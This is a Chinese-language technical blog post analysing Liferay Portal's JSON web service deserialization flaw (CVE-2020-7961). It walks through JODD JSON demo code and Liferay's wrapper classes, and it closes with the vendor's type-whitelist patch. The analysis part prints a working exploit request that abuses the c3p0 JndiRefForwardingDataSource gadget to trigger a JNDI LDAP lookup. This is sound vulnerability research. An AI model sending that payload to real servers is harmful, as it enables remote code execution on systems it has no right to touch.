文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

2023-06-04 18:01

关注

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

Liferay Portal对于JSON Web Service的处理,在6.1、6.2版本中使用的是 Flexjson库,在7版本之后换成了Jodd Json。

总结起来该漏洞就是:Liferay Portal提供了Json Web Service服务,对于某些可以调用的端点,如果某个方法提供的是Object参数类型,那么就能够构造符合Java Beans的可利用恶意类,传递构造好的json反序列化串,Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法。不过还有一些细节问题,感觉还挺有意思,作者文中那张向上查找图,想着idea也没提供这样方便的功能,应该是自己实现的查找工具,文中分析下Liferay使用JODD反序列化的情况。

JODD序列化与反序列化

参考官方使用手册,先看下JODD的直接序列化与反序列化:

TestObject.java

package com.longofo;import java.util.HashMap;public class TestObject {    private String name;    private Object object;    private HashMap<String, String> hashMap;    public TestObject() {        System.out.println("TestObject default constractor call");    }    public String getName() {        System.out.println("TestObject getName call");        return name;    }    public void setName(String name) {        System.out.println("TestObject setName call");        this.name = name;    }    public Object getObject() {        System.out.println("TestObject getObject call");        return object;    }    public void setObject(Object object) {        System.out.println("TestObject setObject call");        this.object = object;    }    public HashMap<String, String> getHashMap() {        System.out.println("TestObject getHashMap call");        return hashMap;    }    public void setHashMap(HashMap<String, String> hashMap) {        System.out.println("TestObject setHashMap call");        this.hashMap = hashMap;    }    @Override    public String toString() {        return "TestObject{" +                "name='" + name + '\'' +                ", object=" + object +                ", hashMap=" + hashMap +                '}';    }}

TestObject1.java

package com.longofo;public class TestObject1 {    private String jndiName;    public TestObject1() {        System.out.println("TestObject1 default constractor call");    }    public String getJndiName() {        System.out.println("TestObject1 getJndiName call");        return jndiName;    }    public void setJndiName(String jndiName) {        System.out.println("TestObject1 setJndiName call");        this.jndiName = jndiName;//        Context context = new InitialContext();//        context.lookup(jndiName);    }}

Test.java

package com.longofo;import jodd.json.JsonParser;import jodd.json.JsonSerializer;import java.util.HashMap;public class Test {    public static void main(String[] args) {        System.out.println("test common usage");        test1Common();        System.out.println();        System.out.println();        System.out.println("test unsecurity usage");        test2Unsecurity();    }    public static void test1Common() {        TestObject1 testObject1 = new TestObject1();        testObject1.setJndiName("xxx");        HashMap hashMap = new HashMap<String, String>();        hashMap.put("aaa", "bbb");        TestObject testObject = new TestObject();        testObject.setName("ccc");        testObject.setObject(testObject1);        testObject.setHashMap(hashMap);        JsonSerializer jsonSerializer = new JsonSerializer();        String json = jsonSerializer.deep(true).serialize(testObject);        System.out.println(json);        System.out.println("----------------------------------------");        JsonParser jsonParser = new JsonParser();        TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);        System.out.println(dtestObject);    }    public static void test2Unsecurity() {        TestObject1 testObject1 = new TestObject1();        testObject1.setJndiName("xxx");        HashMap hashMap = new HashMap<String, String>();        hashMap.put("aaa", "bbb");        TestObject testObject = new TestObject();        testObject.setName("ccc");        testObject.setObject(testObject1);        testObject.setHashMap(hashMap);        JsonSerializer jsonSerializer = new JsonSerializer();        String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);        System.out.println(json);        System.out.println("----------------------------------------");        JsonParser jsonParser = new JsonParser();        TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);        System.out.println(dtestObject);    }}

输出:

test common usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}----------------------------------------TestObject default constractor callTestObject setHashMap callTestObject setName callTestObject1 default constractor callTestObject1 setJndiName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}test unsecurity usageTestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setName callTestObject setObject callTestObject setHashMap callTestObject getHashMap callTestObject getName callTestObject getObject callTestObject1 getJndiName call{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}----------------------------------------TestObject1 default constractor callTestObject1 setJndiName callTestObject default constractor callTestObject setHashMap callTestObject setName callTestObject setObject callTestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}

在Test.java中,使用了两种方式,第一种是常用的使用方式,在反序列化时指定根类型(rootType);而第二种官方也不推荐这样使用,存在安全问题,假设某个应用提供了接收JODD Json的地方,并且使用了第二种方式,那么就可以任意指定类型进行反序列化了,不过Liferay这个漏洞给并不是这个原因造成的,它并没有使用setClassMetadataName("class")这种方式。

Liferay对JODD的包装

Liferay没有直接使用JODD进行处理,而是重新包装了JODD一些功能。代码不长,所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。

JSONSerializerImpl

Liferay对JODD JsonSerializer的包装是com.liferay.portal.json.JSONSerializerImpl类:

public class JSONSerializerImpl implements JSONSerializer {    private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer,最后还是交给了JODD的JsonSerializer去处理,只不过包装了一些额外的设置    public JSONSerializerImpl() {        if (JavaDetector.isIBM()) {//探测JDK            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关        }        this._jsonSerializer = new JsonSerializer();    }    public JSONSerializerImpl exclude(String... fields) {        this._jsonSerializer.exclude(fields);//排除某个field不序列化        return this;    }    public JSONSerializerImpl include(String... fields) {        this._jsonSerializer.include(fields);//包含某个field进行序列化        return this;    }    public String serialize(Object target) {        return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化    }    public String serializeDeep(Object target) {        JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field,包括集合等类型        return jsonSerializer.serialize(target);    }    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//设置转换器,和下面的设置全局转换器类似,不过这里可以传入自定义的转换器(比如将某个类的Data field,格式为03/27/2020,序列化时转为2020-03-27)        TypeJsonSerializer<?> typeJsonSerializer = null;        if (jsonTransformer instanceof TypeJsonSerializer) {            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;        } else {            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);        }        this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);        return this;    }    public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {        TypeJsonSerializer<?> typeJsonSerializer = null;        if (jsonTransformer instanceof TypeJsonSerializer) {            typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;        } else {            typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);        }        this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);        return this;    }    static {        //全局注册,对于所有Array、Object、Long类型的数据,在序列化时都进行转换单独的转换处理        JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());        JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());        JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());        JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());    }    private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {        private LongToStringTypeJSONSerializer() {        }        public void serialize(JsonContext jsonContext, Long value) {            jsonContext.writeString(String.valueOf(value));        }    }    private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {        private JSONObjectTypeJSONSerializer() {        }        public void serialize(JsonContext jsonContext, JSONObject jsonObject) {            jsonContext.write(jsonObject.toString());        }    }    private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {        private JSONArrayTypeJSONSerializer() {        }        public void serialize(JsonContext jsonContext, JSONArray jsonArray) {            jsonContext.write(jsonArray.toString());        }    }}

能看出就是设置了JODD JsonSerializer在序列化时的一些功能。

JSONDeserializerImpl

Liferay对JODD JsonParser的包装是com.liferay.portal.json.JSONDeserializerImpl类:

public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {    private final JsonParser _jsonDeserializer;//JsonParser,反序列化最后还是交给了JODD的JsonParser去处理,JSONDeserializerImpl包装了一些额外的设置    public JSONDeserializerImpl() {        if (JavaDetector.isIBM()) {//探测JDK            SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关        }        this._jsonDeserializer = new PortalJsonParser();    }    public T deserialize(String input) {        return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化    }    public T deserialize(String input, Class<T> targetType) {        return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化,可以指定根类型(rootType)    }    public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器        ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);        this._jsonDeserializer.use(field, valueConverter);        return this;    }    public JSONDeserializer<T> use(String path, Class<?> clazz) {        this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型,例如file在某个类是接口或Object等类型,在反序列化时指定具体的        return this;    }}

能看出也是设置了JODD JsonParser在反序列化时的一些功能。

Liferay 漏洞分析

Liferay在/api/jsonws API提供了几百个可以调用的Webservice,负责处理的该API的Servlet也直接在web.xml中进行了配置:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

随意点一个方法看看:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

看到这个有点感觉了,可以传递参数进行方法调用,有个p_auth是用来验证的,不过反序列化在验证之前,所以那个值对漏洞利用没影响。根据CODE WHITE那篇分析,是存在参数类型为Object的方法参数的,那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下,这里就不写正常的调用调试过程了,简单看一下post参数:

cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true

总的来说就是Liferay先查找/announcementsdelivery/update-delivery对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法。

但是抓包并没有类型指定,因为大多数类型是String、long、int、List、map等类型,JODD反序列化时会自动处理。但是对于某些接口/Object类型的field,如果要指定具体的类型,该怎么指定?

作者文中提到,Liferay Portal 7中只能显示指定rootType进行调用,从上面Liferay对JODD JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象,那么Liferay本身可能会先对数据进行解析,获取到指定的类型,然后调用JODD的parse(path,class)方法,传递解析出的具体类型来恢复这个参数对象;也有可能Liferay并没有这样做。不过从作者的分析中可以看出,Liferay确实这样做了。作者查找了jodd.json.Parser#rootType的调用图(羡慕这样的工具):

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

通过向上查找的方式,作者找到了可能存在能指定根类型的地方,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl调用了com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString, parameterType), looseDeserialize调用的是JSONSerializerImpl,JSONSerializerImpl调用的是JODD的JsonParse.parse

com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl再往上的调用就是Liferay解析Web Service参数的过程了。它的上一层JSONWebServiceActionImpl#_prepareParameters(Class<?>),JSONWebServiceActionImpl类有个_jsonWebServiceActionParameters属性:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

这个属性中又保存着一个JSONWebServiceActionParametersMap,在它的put方法中,当参数以+开头时,它的put方法以:分割了传递的参数,:之前是参数名,:之后是类型名。

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

而put解析的操作在com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement中完成:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

通过上面的分析与作者的文章,我们能知道以下几点:

所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链,可以直接找Jackson、带Yaml的,看他们继承的利用链,大多数也适合这个漏洞,同时也要看在Liferay中是否存在才能用。这里用com.mchange.v2.c3p0.JndiRefForwardingDataSource这个测试,用/expandocolumn/add-column这个Service,因为他有java.lang.Object参数:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

Payload如下:

cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

解析出了参数类型,并进行参数对象反序列化,最后到达了jndi查询:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

补丁分析

Liferay补丁增加了类型校验,在com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable中:

如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析

private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {        String parameterTypeName = parameterType.getName();        if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法            throw new IllegalArgumentException("Not instantiating " + parameterTypeName);        } else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验            if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类                throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));            } else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验                if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验                    if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验,白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中                        ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();                        if (serviceReferences != null) {                            String key = "jsonws.web.service.parameter.type.whitelist.class.names";                            ServiceReference[] var7 = serviceReferences;                            int var8 = serviceReferences.length;                            for(int var9 = 0; var9 < var8; ++var9) {                                ServiceReference<Object> serviceReference = var7[var9];                                List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));                                if (whitelistedClassNames.contains(parameterTypeName)) {                                    return;                                }                            }                        }                        throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");                    }                }            }        }    }

_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES所有白名单类在portal.properties中,有点长就不列出来了,基本都是以com.liferay开头的类。

关于如何进行Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)的分析问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注编程网行业资讯频道了解更多相关知识。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯